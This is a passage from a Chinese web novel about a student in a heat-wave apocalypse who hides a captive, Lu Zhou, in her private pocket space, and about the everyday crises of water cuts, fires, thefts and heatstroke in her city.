说了一会儿，他忽然停了下来：“我说的这些经验对你来说应该没什么用，毕竟现在外面的情况和我上辈子的时候完全不一样。不过，你要是碰到了火灾，可以去奚川——也就是你对面邻居家弄一套灭火防护服和空气呼吸器，他们家有多余的备用，就放在进门右拐的第三间房里，那是消防员专用的，有阻燃隔热的作用。逃命的时候，他们不会带太多东西，你可以等他们走了再进去……对了，他家的密码是975329。” 秦小薇被他的一番言论惊住：“偷、偷东西？那之后怎么办？” 她和李阿姨也算是关系不错的邻居，就不能好好说话，和对方求助吗？他怎么张口就是趁主人不在家入室偷窃？ 而且……他就这么把奚川家的密码说出来了？ 陆昼：“被发现之后装可怜、赔钱、道歉、下跪……总有解决的办法！在末日世界里，道德感太高的人，是活不长的。或者……你也可以直接躲空间里，之后再来个大变活人！” 最后一句话，他说得满是嘲讽。 秦小薇有种感觉，在陆昼的观念里，似乎人和人的关系就是冷漠的，就算是熟悉的人，也不一定会在他遇到困难的时候伸手帮忙。 秦小薇：“不是，我的意思是为什么不能真诚一点，直接和他们说明情况借装备？而且……水退之后，宁市的情况能恢复，不就是因为还有人维持秩序，大家也愿意遵循秩序吗？这种情况下，我觉得有道德感没什么不好的！” 陆昼嗤笑一声：“天真！你了解奚川吗？你怎么知道他不会把你当成占便宜不嫌够的邻居让保镖把你轰出去？外面的世界早晚会变，你要是不转变观念，一直把希望寄托在别人身上，迟早要吃大亏！” 他的目光有些幽远，不知道是在提醒秦小薇，还是在说他自己的经历…… 秦小薇张了张嘴，最后还是换了个话题：“我的病好得差不多了，你之前说的那个办法要怎么做？” 陆昼：“一天一粒特效避暑药，把空调温度调高，室温先控制在40℃，之后隔四天往上加1℃，一直加到47℃，基本上能保证你晚上在外面正常活动。就算中暑了，也死不了人，补几顿药就好了。” 秦小薇有些怀疑地看着他：“从40℃开始？我不会中暑吧？” 陆昼：“这是有实验室数据支撑的，放心，肯定死不了！” 最多过程难熬一点。 秦小薇：“你的意思是有人拿这药做过试验？既然特效避暑药能提高身体对环境的适应力，国家为什么不直接推广这个办法？按照你的办法，二十八粒药就可以解决问题，现在一个月限购六粒药，五个月三十粒，还能多出两粒药。” 陆昼摇头：“账不是这么算的，我刚刚说的，只是最好的情况。身体差的，可能到高温结束都不能适应，得每天吃药，再加上某些发病急的，得加药救命……你算算我们国家多少人？真这么做，就要多生产几倍的药……到时候又要多消耗多少药材？” “而且这事的操作难度也大，身体不好的容易出事，还会产生负面舆论，影响人心。还不如把人都关在空调房里省事，反正也就几个月……” “能维持现在这种供给情况，已经是专家们反复调试配方、药厂加足马力生产的结果了！” 秦小薇：虽然话是这么说，但像陆昼这种有钱有渠道的特权阶级，家里的药还不是按箱算！缺药的只是没钱没势的普通人罢了！ 吃完饭之后，秦小薇又监督陆昼包了两百个韭菜鱼肉馅的饺子和两百个胡萝卜虾仁馅的饺子冻上，才满意地离开空间。 刚出空间，秦小薇就发现辅导员在群里开线上班会，主题是强调“安全用电，防火防灾”，除此之外，群里还发了消防设备的使用方法…… 秦小薇赶紧发了个“收到”证明自己没有缺席。 除了开班会，学校今晚还会组织学生利用消防设备进行消防演习，不过秦小薇没住宿舍，就不用参加了。 班会结束前，辅导员还提醒大家，可以提前准备一个应急物资包，遇到了紧急情况可以提上就走…… 秦小薇觉得很有道理，便照着辅导员发出来的物资清单，给自己弄了个应急背包。 白天因为学生宿舍失火的事，她根本没睡几个小时，所以今天她没熬到早上，凌晨觉得困了就去睡了。 第二天中午，秦小薇又被吵醒了。 这回，吵醒她的不是楼里住户的喊声，而是楼上接二连三的“砰砰”声，像是有什么东西在爆炸。 她一头雾水，拿出手机在打卡群里问出了什么事。 群里也有其他人在问，很快就有人回答了他们的问题，楼上某家店装修用的玻璃质量可能不太好，刚刚一整面墙的玻璃全被晒炸了，还伤到了人……店家后背全是碎玻璃，满身的血，躺在地上起不来，只能打120求救。 秦小薇：“……”还有这种可能？玻璃也能晒炸？！ 她转头看向自家阳台和窗户上的玻璃，这个时候玻璃炸了可不一定能找到人来装！ 得找个东西挡一挡！ 她的第一反应就是找出之前剩下的隔热铝膜。 秦小薇先比照着窗户的大小，裁了一块稍大的。 她打开窗户，踩在凳子上，大半身体都探出窗户外，试图用胶布把隔热膜固定在窗户外面，但胶布的黏性不行，刚贴上，隔热膜就有要掉下来的趋势。 秦小薇进空间拿了电钻，开始往外墙上打孔钉钉子。 中途，她还得空出一只手勾着窗沿，免得从九楼摔下去，不仅不好操作，还非常考验人的胆量……秦小薇折腾了快一个小时，才把裁剪好的隔热铝膜固定好。 外面的太阳实在是太晒了，她从凳子上下来的时候，脑袋一阵眩晕，被太阳晒到的那半边脸更是一片刺痛。 秦小薇担心自己又中暑了，赶紧吃了一粒特效避暑药。 她去浴室照了下镜子，虽然涂了防晒油，但她的左半边脸依旧晒红了，看上去还有些肿，左右两边脸都不对称了！ 秦小薇：！！！ 晒伤这么严重，她不会毁容吧？ 这太阳也太毒了！ 她洗掉了脸上的防晒，找出一堆护肤品做晒后修复。 打卡群里的人也都在讨论该怎么“防爆”，毕竟窗户要是碎了，开空调就更不管用了。 有人用床单，有人用被子，还有人用拼接起来的硬纸板…… 还有人提出要用胶布把窗户整个粘起来，否则窗户爆了之后，碎玻璃乱飞，他们可能会和楼上的店家一样，被扎成“刺猬”……秦小薇觉得被碎玻璃扎成刺猬这个画面太过可怕，便找出胶布，仔细把家里的窗户都粘了一遍。 和她一样，大部分人都遇到了固定问题，还有人和她借电钻打孔。 秦小薇答应了，不过让他们自己来取，用完了还得送回来——她懒得出门爬楼。 想到昨天晚上陆昼说的话，秦小薇找出温度计，量了下室温，现在是下午一点一十，算是一天中最热的时候，她把空调开到16℃，室温依旧有34℃。 垫着凉席，吹着风扇，如果熟睡的话，她不会被热醒，但要是刚刚入睡，那就有点难受了。 秦小薇想了想，把温度调高了三度。 40℃太高了，还是先从37℃开始吧！ 虽然温度只调高了三度，但秦小薇却觉得热了很多，没过多久，她后背就有一片衣服被汗湿了。 她热得睡不着，便坐在沙发上玩手机，因为一直有人在@全体成员，年级群不断有消息弹出来。 秦小薇打开群消息看了看，原来是隔壁班有个男生昨天在外面待了几个小时中暑了，但他之前贪小便宜把药卖了，现在只能硬熬。 校医院虽然不像外面的医院那么“苛刻”，但也只给中、重度中暑的学生开药输液，轻度中暑的病人只能得到一句“多喝淡盐水”的医嘱。现在轻度中暑的人太多了，在医生眼里，这都不算病了。 经历了昨天的火灾后，很多学生都意识到了，高温期间，他们不一定能一直待在寝室里吹空调风扇，药店限购的特效避暑药关键时刻能救命，很多人都不愿意把手上的药借给不太熟的人。 毕竟距离下次限购还有二十多天，而一盒药只能吃三天。 这位男生不知道是人缘太差还是什么，一直没 借到药，只能一遍遍在群里@全体成员。 辅导员这次没有帮忙协调，反而在群里分享了按压穴道、涂抹风油精、刮痧等轻度中暑的辅助治疗措施。 看完群消息，秦小薇忍不住摇头。 这人真要是缺药了，完全可以去同城APP上找人高价收，现在找同学借药，半点不提还的事，不过是不愿意把之前赚到的钱吐出来罢了！ 傍晚的时候，她听到外面走廊上有搬东西的声音，打开门一看，原来是李阿姨家来了几个装修工人。 她多问了一句才知道，原来是奚川担心家里的窗户也被晒炸了，直接找人定制了一批新的送过来，随时可以换上。 秦小薇：效率好高！这就是钞能力吗？ 可能是因为中午晒了太久，就算秦小薇做了补救，等到了晚上，她左半边脸依旧脱了一层皮，配合着晒伤后的红肿，看起来有些吓人。 她进空间问陆昼要不要上点什么药，结果他说死不了，让她不要太矫情，气得秦小薇直接给了他一脚。 秦小薇原本是想用“毁容”这个理由继续请假的，但自拍照发过去之后，经理说客户是来办业务的，不是来看她的脸的，还让她戴口罩，根本没批她的假。 秦小薇：“……” 她第二天晚上只能老老实实骑车出门上班。 到了银行后，秦小薇发现银行的温度比上周高了很多，今天来上班的同事也比之前少。 她不知道出什么事了，便找了个同事打听情况。 李姐：“好几个同事都生病中暑了，还好现在办业务的客户不多，要不然咱们行的人手就要不够用了！” 秦小薇：难怪经理不给她批假！ 李姐：“你没看群吗？咱们这条街的供电箱被一个疯子弄坏了，现在还没修好呢！现在咱们行只能靠发电板白天充的电供电，要是中央空调温度调太低，还没到下班时间，银行就得断电！” 秦小薇休息的时候，几乎不看工作用的手机，还真不知道这几天支行这边发生的事。 她手上的活并没有停，闻言开口道：“我这几天一直病着，没看手机……李姐你和我说说，到底是什么情况？” 李姐：“就是有个男的为了省钱，升温之后，家里的空调都是断断续续地开，结果他老婆孩子都得了热射病进医院抢救，然后没抢救过来，人没了……他一下子就疯了，上周日，他趁着白天路上没人的时候破坏了好几个供电箱！现在咱们这条街都没电，只能靠太阳能发电板发电。” 秦小薇：“……”这段话的槽点太多，她一时不知道该怎么吐槽。 秦小薇：“他要是去商场打地铺，不是更省钱？家里人出事就报复社会，这算什么本事？对了，那个男的抓到了没？” 李姐点头：“后面有人发现了报警抓了他……据说会判死刑！因为他，上周日咱们这儿救护车的声音就没停过……” 秦小薇义愤填膺道：“这种人，判了死刑也是活该！” 现在外面这么热，大白天故意破坏供电箱，他是想让这一条街的人都给他老婆孩子陪葬啊！ 李姐：“我邻居都后悔没早点买太阳能发电板，现在排队的人太多了，等师傅上门安装改线路，还不知道要等多久呢！” 中途去上厕所的时候，秦小薇发现银行的厕所没水了，问了其他人才知道，支行所在的这片区域，从昨天开始就停水了。 既然宁市已经开始停水了，公寓附近停水，也是迟早的事。 中途摸鱼的时候，秦小薇拿出自己的私人手机，在群里和大家说了这件事，提醒公寓楼的邻居和还在住宿舍的同学存水。 现在把存水的容器装满，等真的停水了，还能多支撑一段时间。 按照他们现在的出汗量，不出门还好，晚上外出的话，超市和食堂每天限购的2000ML饮用水根本不够喝。 【肖琳琳：薇薇，你不知道我和阿霞刚刚经历了什么？[裂开][裂开]】 【肖琳琳：我现在想收拾东西去外面打地铺！】 联想到两人的经历，秦小薇对她们的遭遇有了些大概的猜测。 【秦小薇：新室友不好相处？】 【肖琳琳：那岂止是不好相处！我都想连夜包车回家了！】 【肖琳琳：薇薇，你知道我们的新室友是谁吗？】 【范槿：琳琳，你别卖关子了！快说！】 【段霞：是裴欣！】 【秦小薇：？？？】 【范槿：？？？】 【秦小薇：她爸妈不是陪她搬出去住了吗？她怎么又回寝室了？】 【肖琳琳：他们租的房子空调坏了，维修师傅排单排到了几个月之后，他们找不到人修空调，裴欣就搬回寝室了，她爸妈在外面的商场打地铺。刚好我们的新寝室只有三个人，她就被塞进来了……】 【肖琳琳：她又养了一条狗，是条泰迪，她爸妈说看她失去了香肠太伤心，所以又给她买了一条狗，说是希望泰迪可以安慰到她……拉布拉多不是她自己弃养的吗？[裂开][裂开][裂开]】 之前暴雨的时候，裴欣加狗这个组合就让十二楼附近的女生苦不堪言，现在高温了又来一遭，这谁顶得住？ 【秦小薇：要不找辅导员反映一下，换个寝室……至少把狗弄走吧！】 【肖琳琳：狗是后面才送过来的，她爸妈说临时避暑点不让养狗，不放这边就只能遗弃了。】 【范槿：猫猫抱抱.gif】 【范槿：太惨了！要不你们来我家住吧？】 【秦小薇：要是实在相处不下去，我也可以收留你们一段时间，不过我家的床睡不了三个人，你们当中有一个人要打地铺！】 【段霞：暂时不用，我和琳琳已经在找房子了！薇薇、饭饭，你们有没有认识的人对外租房子？要求不高，低楼层、有空调就行！就算没床我们也可以打地铺……】 【秦小薇：我房东手上可能有房源，你等下……我帮你们问问。】 回复完寝室群的消息，秦小薇找出房东的账号，发了条消息过去。 没过多久，她就收到回复了。 【房东：有两套合适的，就在你家楼上，10楼，装修和你现在住的那套差不多，可以直接拎包入住。】 【房东：你要是确定租，我晚点过去带你朋友看房。】 【房东：对了，你现在住的这套房子我已经卖出去了，你下次交房租，直接联系新房主就行了。】 秦小薇：？？？ 换房主了？谁会在这个时候买高楼层还没电梯的房子啊？ 【秦小薇：楼层有点高……我问下我朋友吧！】 【秦小薇：新房主的联系方式可以发给我一下吗？】 消息发出去没多久，秦小薇就收到了一张房东推送过来的名片。 头像是一副狂草的毛笔字，网名叫“知足常乐”，最新的几条朋友圈则是转发的一些养生博文，什么“苹果这样吃，这几种病就不会找上门”“芹菜的五大作用，你知道吗？”…… 单看这个风格，秦小薇觉得新房主应该有一定的年纪了。 她加了对方，在好友申请里介绍了自己，等对方通过好友。 秦小薇把房子的信息发到群里，段霞和肖琳琳果然没看上。 她俩搬下来也是因为担心宿舍楼失火来不及逃生，真要是租秦小薇楼上的房子，还不如搬回1206住，至少寝室安装了太阳能发电板，白天开空调还能省点电。 第50章 第50章争吵（双更合一）…… 因为供电量不足,银行今天凌晨一点就开始准备下班后的各项事宜，秦小薇也难得在银行关门后的半个小时内就结束工作下班。 因为比预想中提前了一个多小时下班，秦小薇的心情非常好,回家进空间后,看到陆昼那张脸的时候都觉得顺眼了一点。 睡前,她发现自己发给新房东的好友申请通过了，秦小薇连忙拍了张自己的租房合同发过去,表示房租到期后, 她会给他转账交房租。 新房东发了一个银行卡账号给她，让她到时候直接把钱打进银行卡里。 接下来三天,秦小薇按部就班地上下班，除了空调温度调高之后，白天总是睡不安稳,生活还算平静。 周六凌晨下班回来的时候,秦小薇发现家里的水龙头不出水了，她忍不住叹了口气，这一天还是来了！ 她打开手机,查看群里的消息，每日打卡群几个小时前就在讨论这件事了,反而是年级群和班群都毫无动静。 【秦小薇：阿霞、琳琳,我租的公寓停水了，宿舍楼现在还有水吗？】 【肖琳琳：还没停，不过水流变得很细,接一盆水要等好几分钟，我估计也快了。】 【肖琳琳：我们囤了好多水，连那些已经回家的同学寝室的空水盆、空水桶都利用起来了，应该能撑很久。】 【秦小薇：你们今天过得怎么样？裴欣没干什么吧？】 因为裴欣的“前科”,秦小薇和范槿很担心肖琳琳和段霞在宿舍受气，几乎每天都要问一遍这个问题。 段霞和肖琳琳一直在同城APP上找房子，不过高温之后，住在没有电梯的高层就变成一件特别煎熬的事，再加上之前的暴雨，毁了不少小区的电梯，这就导致，有搬家需求的人数激增。 不少人高温刚开始那两天就找房子搬家了，她俩找得太晚了，能找到的低楼层的房子基本上都没有空调，也就一直没搬出去。 【段霞：没有，她一直躺在床上，我们今天就只帮她的狗打扫了五坨屎。】 【秦小薇：五坨？】 【段霞：是啊！她这次养的泰迪不会乱叫了，但是拉屎的时候喜欢到处跑，每次都只拉一小坨，拉一次屎能跑五六个地方……裴欣对泰迪不上心，既不遛狗，打扫又很拖延，我们要是不及时打扫，就会在寝室里踩到狗屎。】 【秦小薇：……】 【段霞：我再忍忍吧！实在忍不下去了，就搬回楼上住。】 【秦小薇：抱抱.jpg】 【段霞：薇薇，先不和你说了，我们要去参加消防演习了。】 学校已经公布了前几天失火的原因，是有个女生不满食堂只提供能量饼干，就去超市买了米和绿豆，在宿舍楼用小电锅煮绿豆粥喝。 小电锅质量不行，绿豆粥要煮一个多小时，她中途上床睡了一觉，没在边上看着，这才造成了火灾…… 学校公布的数据显示，这次火灾一共造成了68人死亡，378人烧伤，算是非常严重的事故了，学生们转移到低楼层之后，学校几乎每天晚上都会组织学生进行消防演习，确保她们遇到类似的事，不会再慌了手脚。 还有人在年级群里调侃，说学校这是担心他们“考试”不合格丢了小命，疯狂安排实战给他们“刷题”。 毕竟再蠢的人，同一道题“刷”个几十遍，也能把标准答案背下来了，更何况他们Q大也算是国内的名校了，能考进来的学生，智商本身就不低。 周六晚上秦小薇开门放垃圾的时候，看到之前给她做笔录的两个警察从奚川家走了出来。 她并没有露出什么异样，把垃圾放在门口，就关上门重新进屋了——现在出一趟门会出很多汗，她现在扔垃圾都不会专门跑一趟，而是等出门的时候顺手带下去。 晚上进空间里吃饭的时候，秦小薇忍不住和陆昼说了她看到警察的事：“……你说，他们什么时候会查到我身上？” 秦小薇觉得，陆昼都能凭着一点蛛丝马迹发现她的空间，她现在是陆昼的“邻居”，他的身份又这么重要，警察大概率会把她查个底朝天，很可能也会发现她的异常。 陆昼坐在她对面，他们吃饭的桌子很大，两个人中间间隔了一米多，他俩都是一副恨不得离对方远远的模样。 陆昼闻言扫了眼边上还亮着屏幕的手机，笑了：“这取决于你什么时候答应和我合作……要是拖太久，我可就帮不了你了！” 秦小薇心头一跳，她放下筷子，死死盯着他：“你什么意思？” 陆昼：“我这个人没什么别的优点，行动之前多做几手准备，算是其中之一。” 秦小薇的语气有点不耐烦：“别做谜语人！说清楚点！” 陆昼放下手里的餐具，脸上露出看好戏的表情：“字面意思，我能让他们暂时查不到你身上，也能让你瞬间进入警方的视线。” 秦小薇：“……”又威胁她！可恶，拳头硬了！ 她深吸一口气，仔细回忆了一下陆昼这些天的行为。 这些天，他似乎一次都没提过要她放他出去，只偶尔和她要一些生活用品。昨天，她带了几条狗链回来，把链子用锁连在一起拴在屋里，让他实现上厕所和睡觉“自由”，他也就例行嘲讽了她几句，并没有什么太激烈的情绪。 香菜种子发芽的时候，陆昼还找她多要了一些种子，在空间里多开垦出一些土地，种下了其他的蔬菜，他种地的时候，甚至有种怡然自得的感觉。 陆昼这些天做得最多的，就是“不经意”间提起和他合作的好处，各种诱惑她和他合作……现在仔细回想他的行为，他似乎有种“出不出空间无所谓，但一定要磨到她答应和他合作”的感觉…… 秦小薇抬眼看他：“陆昼，你早就知道我的空间能进人？” 陆昼：“不知道，我只是习惯多做几手准备而已……我发誓，这句话是真的！” 陆昼起身走到她面前，他弯腰看着她那双快要冒火的眸子，低声安抚道：“别生气嘛！和我合作，总比和外面的那些人合作好！这个国家，虽然有很多无私奉献的人，但也有不少蛀虫，一旦你和他们合作，话语权就不在你这里了……” “你空间里气候这么宜人，难免会被某些蛀虫拿来养老、当成最后的桃花源，他们会拼了命地把自己和家人塞进来，你还会被道德绑架，被他们当成运输、存货的工具……到时候，这个空间就不属于你了！” 他扶着秦小薇的肩头，示意她看露天厨房外面的建筑：“你看，你把空间里弄得这么漂亮，你忍心它被其他人糟蹋了吗？但和我合作就不一样了，我不仅会提供你想要的，还会尊重你的意愿，绝对不往你空间里放奇奇怪怪的东西！” 他言辞恳切、循循善诱，一副真的在为秦小薇考虑的模样。 秦小薇一把推开他，冷笑一声：“真是满嘴谎话！你前些天还说我的农场幼稚呢！现在又变成漂亮、气候宜人了？你要是真的尊重人，就不会大晚上拿着枪来堵我！还威胁我！再说，要是你没出现，也就不会有现在这堆破事了！少在这假惺惺装好人……” 陆昼：“……不管你信不信，随身带枪只是我的习惯而已，我当时没想对你开枪。” 秦小薇瞪他：“这事都过去了，当然是随你怎么说了！” 陆昼叹了口气：“算了，你现在情绪太激动，我跟你说不通，你好好想想吧！我说的话有没有道理，你要是不想一辈子困死在这里，和我合作是最优解……” 秦小薇很烦他一直提这事，口不择言道：“什么最优解？我宁愿被警察发现和市政的人合作，也不和你这种变态合作！” 陆昼冷笑一声：“你知道警察为什么这么久还没查到你身上吗？因为我来见你之前，就丢了几个蛀虫当饵，那几个目标太显眼，案子太大太复杂，我又帮你处理掉了你的那 些破绽，他们当然不会优先考虑你是嫌疑人。我承认，外面的世界确实还有很多好人，但人人都有私心，尤其是末世，残酷的环境会放大人性中的恶，你知道上次涨水期间，出现了多少自私自利的蛀——” 秦小薇直接一拳捶了过去：“闭嘴，我现在不想听你说话！” 陆昼也没有站着任由她打，刚开始还只是躲闪，后面被打出了火气，他也开始还击，两人顿时打成一团，连带着露天厨房的东西都砸了不少。 在一旁干饭的拉布拉多听到动静，停了下来，它看了看两人，一时不知道该帮谁，最后……它选择在一旁观战。 秦小薇被气得都没想到用仓库“作弊”，她的力气虽然很大，但战斗经验不如陆昼，后面直接被他压在地上不得动弹。 陆昼狠狠喘了几口气：“你吃什么长大的？力气这么大！” 秦小薇用力挣扎：“陆昼，你放开我！” 陆昼：“休战吗？” 秦小薇闭了闭眼，屈辱道：“休战！” MD，想去上拳击课，然后把这男的打得满地找牙！ 陆昼拽着她的手腕把她从地上拉了起来，他拍了拍秦小薇肩膀上的灰，笑道：“放心，没伤到你的脸，你明天还能正常上班。” 秦小薇气笑了：“我该感谢你的贴心吗？” 她手上不知何时出现了一把手枪，枪|口指着他：“陆昼，我现在真的想一枪崩了你！” 陆昼主动往前走了两步，让枪|口抵住自己的额头，他伸手握住她拿枪的那只手，手指轻轻拨动了一下枪身上的一个小零件，轻笑道；“没上膛、没开保险，子|弹是射不出来的……要这样才行！” 说着，他握住秦小薇的另一只手，带着她的手给手|枪上膛，然后，他的大拇指竟然带着秦小薇的食指开始扣动扳机。 秦小薇：！！！ 她飞快把手枪收进仓库里。 秦小薇低骂一句：“你这个疯子！” 陆昼：“你看，你连杀人都不敢，心太软的人在末世是活不了太久的，不如和我合作，你不敢做的那些脏事，我都可以帮你——” 秦小薇不等他说完，就把他收进了仓库里，转念一想，待在仓库里无知无觉，太便宜他了，她又把人放了出来。 她当着陆昼的面，把桌上的餐盘全部收了起来：“我今天没胃口，你也别吃了，饿着吧！” 陆昼：“……” 陆昼：“秦小薇，虐待俘虏可不是什么好习惯！” “我乐意！”她作势又要踹他，“别干站着，把这里打扫干净！” 秦小薇找出自己许久没用的拳击手套，对着落灰的拳击训练器，一拳又一拳…… 想定制一个陆昼的等身训练器，然后把它当陆昼揍！ 发泄了一通，出了一身的汗，秦小薇的心情好了许多。 她从屋里出去的时候，陆昼已经把被他们砸得乱七八糟的露台收拾好了，正坐在海水淡化设备边上搓刚刚换下来的衣服。 秦小薇看他不顺眼，就想找他的茬，她走过去踢了一脚他的洗衣盆，盆里的水溅了出来，把他身上刚换的衣服都打湿了。 陆昼用胳膊擦了下脸上溅到的水：“秦小薇，你幼不幼稚？我衣服都湿了！” 秦小薇凉凉道：“你再换一件不就行了，多洗一件衣服而已，多大的事，做人不要太情绪化了！” 陆昼：“……”气还没消呢？ 后面两顿，她直接进空间啃的面包，连口水都没给陆昼喝，拉布拉多吃的也是秦小薇之前囤的能量饼干。 这些天顿顿好吃好喝的养着，见饭盆里出现能量饼干，拉布拉多摇尾巴的频率都变低了，不过它没有挑食，最后还是乖乖把饭盆里的能量饼干都吃完了。 陆昼抱着手臂斜倚在门边看他们吃东西，他右手上还拴着手铐，可他站姿随意，神态轻松，半点都不像个阶下囚。 陆昼：“这是你新想出来的折磨我的办法？活活饿死我？” 秦小薇没理他，低头专心啃面包。 吃了一会儿，她忽然开口问他：“我还有多长时间？” 陆昼勾唇：“什么时间？” 秦小薇瞪他：“明知故问！” 陆昼的手指轻敲手臂：“一个多月吧！” 秦小薇震惊：“这么久？” 这家伙到底干了什么？竟然能拖官方的人这么久？ 陆昼：“你现在是不是觉得……我比你想象中更有实力，怎么样？要不要考虑一下我之前的提议？” 秦小薇：“自恋！” 吃饱之后，她搬出拳击训练器，放在离陆昼房门口一米远的地方，正对着陆昼的脸，开始练拳。 一拳、两拳、三拳…… 下次动手，她一定要赢过他！ 陆昼依旧站在门口，任由秦小薇对着他的脸发泄怒气。 他知道，她的气要是不撒出来，他接下来的日子估计不会好过！ 快要天亮的时候，秦小薇听到外面走廊里不断传来说话声，有点吵。 她打开监控看了一眼，有人在敲对面的门，那个男的十分有毅力，连着敲了半个多小时都没离开。 秦小薇把凳子搬到门口听了一会儿才知道，他是住十六楼的，他半个月前在商场预订的空调和太阳能发电板今天到货了，天气太热，送货的商家不给搬上楼，东西只能堆在一楼。 毕竟是十六楼，他自己也不愿意搬，就来敲对面的房门，希望能借电梯卡用一下。 这段时间，群里有不少人提过电梯的事，奚川从来没有回应过，只每天默默上线打卡。 这次也是一样，中年男人敲了快四十分钟，秦小薇听着他的大嗓门都觉得烦了，对面却始终没有开门…… 最后，中年男人熬不住走廊上的高温，自己走了。 十几分钟后，秦小薇在打卡群里听到了男人一连串的国骂语音——他的空调和太阳能板在一楼放太久，又没人看着，他下楼去搬的时候，东西已经被偷了。 公寓楼的监控还没修好，他一时半会也找不到小偷是谁。 秦小薇看着他在群里又是威胁小偷说等报警抓到了人要让他好看，又是责怪奚川不借电梯卡给他……忍不住摇头。 都经历过暴雨涨水的事了，这男的难道还不知道，高温期间，警力可能不够，市里的治安也会变差吗？ 威慑力不足，那些小偷小摸就全都冒出来了。 尤其是空调和太阳能板这种稀缺物资，他把它们放楼下也就算了，还在楼里嚷嚷地这么大声，不偷他偷谁？ 等李阿姨下楼取今天送过来的新鲜食材的时候，秦小薇假装下楼买能量饼干和饮用水，和她“偶遇”了。 借着中年男人的事，秦小薇在电梯里和她聊了会儿八卦，之后，她假装不经意似的问道：“李阿姨，我昨天好像看到了上次做笔录的警察去了你家，那位失踪的陆先生找到了吗？” 李阿姨叹了口气：“没有，警察说在隔壁省一个山沟沟里找到了车，人还失踪着，他们还在继续找……” 秦小薇：？？？ 车？她当时不是连车带狗一起收进仓库里了吗？ 她赶紧打开仓库看了看，陆昼那辆黑色汽车依旧安静躺在她的仓库里。 不对！第一次见面的时候，陆昼开的是一辆特别帅的吉普车，不是这一辆！ 秦小薇赶紧安慰她：“李阿姨，人还没找到呢！这就有希望！” 李阿姨叹了口气：“唉，都这么多天了，什么信都没有，怕是凶多吉少了！” 秦小薇：他好着呢！昨天一顿饭吃了她四十多个饺子！ 虽然心中吐槽，但秦小薇嘴上依旧在安慰李阿姨。 周一上班前，秦小薇打开工作用的手机扫了眼群里的聊天记录，看到最新消息后，她的眼睛一下子亮了。 昨天支行外面挂着充电的太阳能板被人偷了。 那东西要一整套才有用，秦小薇也不知道小偷单偷几块太阳能发电板是什么毛病…… 小偷偷东西的时候还把线路剪坏了，再加上街道上的供电箱也没修好，她工作的银行现在根本就没电，所以她今天暂时不用去上班了！ 秦小薇：太好了！希望警察把案子往后排，晚点抓到那个小偷！ 她的祈祷没有奏效，因为涉案金额比较大，行长又找了人帮忙，凌晨的时候，群里就传来消息，说被偷的太阳能发电板已经找到了。 不过线路破坏得有点厉害，得等厂家派人过 来修，现在跃能的排单基本上是处于爆满的状态，一时半会抽不出人过来，所以……秦小薇还可以继续放假！ 秦小薇继续许愿：希望维修师傅等她实习期过了再来！ 不用上班，秦小薇的心情很好，进空间吃饭的时候，还给饿了一天多的陆昼扔了一袋面包。 陆昼：“气消了？” 秦小薇：“今天不用上班，心情好！” 陆昼：“这么热的天，怎么不找个理由请个长假？天天来回跑，我都替你觉得累！” 秦小薇：“你以为我不想吗？我们经理不给批！” 像这种特殊时期，为了维持社会的和谐安定，银行、医院、警察局这种地方根本就不能关门，否则会引起民众的恐慌，社会也容易乱。 就算现在支行没电开不了门，行长也得让人在门口贴个公告说明情况，表示会尽快重新开始营业，还要附上其他支行的地址…… 换个角度想，她这份工作虽然总是碰到奇葩，领导还会布置一些乱七八糟的任务，她自己也不喜欢，但从某种方面来说，还是很有意义的！ 也算得上是维持社会平稳运转的一颗小小的螺丝钉吧！ 但陆昼的下一句话，就打破了她的自我肯定：“那是因为你没关系没人脉！要是你有人脉，就算你天天在家里待着，银行照样会算你全勤，给你升职发工资！” 秦小薇：“……你闭嘴！特权阶级了不起吗？” 陆昼轻轻点头：“嗯，了不起！” 秦小薇：“……”又想揍他了！【你现在阅读的是 】 50-60 第51章 第51章热衰竭（双层合一） 秦小薇并不想和陆昼妥协,虽然……他提出的某些条件确实很有诱惑力，但这个人太讨厌了，要是答应和他合作,她总有种自己卖身给他的感觉。 太憋屈了！ 既然他说她还有一个多月的时间,那就先耗着吧！到时候再说！ 或许他在她空间里待久了,感到厌烦了，就放弃纠缠她了呢？ 吃完了东西,秦小薇就出了空间。 空调温度调高之后,她在公寓里待着也会觉得热，但因为吃了药预防中暑,她目前只是感觉燥热，然后出很多汗，之前中暑的时候那些头晕恶心的症状,一样都没出现。 为了转移注意力,秦小薇打开手机，开始上网。 高温已经持续快半个月了，但普通人依旧没有适应突然变化的环境,刚开始的时候，还有不少店家在晚上的时候开门营业,但外面温度太高了,如果不是什么要命的事，普通人根本不愿意出门。 就连超市的新鲜食材都开始“滞销”，大家宁愿在家附近的小超市买能量饼干,也不愿意多跑一段路去超市买新鲜食材回来做饭。 生意变差之后，开门做生意的商家也越来越少，现在的宁市，除去偶尔出现的救护车、警车,白天就像是一座鬼城，只有天黑之后，路上才会出现一些外出的行人和车辆…… 商场、停车场这些临时避暑点聚集了不少人，因为每个人能分到的生活空间太小，几乎每天都会产生矛盾，同时，也会曝出各种各样的瓜，秦小薇有时候觉得无聊了，光是吃瓜就能吃上大半天…… 今天也是一样，她吃了个“小三和渣男在商场厕所偷情，却因为吵到上厕所的路人，和路人吵了起来，最后被路人把渣男出轨的事捅到原配那”的瓜，可谓是一波三折，精彩至极。 她正想把这个视频分享到寝室群里，就见范槿的消息跳了出来。 【范槿：我爸中暑晕倒了，送到医院，医生说是热衰竭……】 【肖琳琳：叔叔怎么会中暑？他不是一直待在家里吗？】 【范槿：他惹我妈生气了，就想去超市买点菜做顿好吃的哄哄她，谁知道还没到家，他就晕在路上了，还是有人打了急救电话，他才被救护车拉走……我和我妈也是接到了医院的电话，才知道他出事了。】 【范槿：ICU没床位了，急诊就给了个轮椅，让我爸靠在轮椅上输液，也没有医生来看他……我妈打听了一下，说热衰竭不好好治疗可能会发展成热射病，热射病就算进了ICU抢救也没什么治愈的希望，人可能几个小时就没了。】 【范槿：我在急诊已经看到好几具尸体了……你们有人认识第二医院的医生吗？我想帮我爸在ICU弄个床位，他们都说ICU的医疗条件更好，能进去就算是保住半条命了。】 后面几段话，她发的都是语音，声音里还带着一丝哭腔，显然，她此时又着急又害怕。 听完范槿的语音消息，秦小薇的表情顿时严肃起来。 她咬着指甲思考了一会，她只在这个世界生活了两年，期间还得兼顾学业和赚钱，认识的人并不多。原主父母双亡，连大学学费都得贷款，手里也没什么人脉关系。 细数下来，她认识的人里面，和医生这个职业相关的，也就只有方庆这个医学院的研究生学长了。 人命关天，她没有犹豫，直接给方庆打了电话。 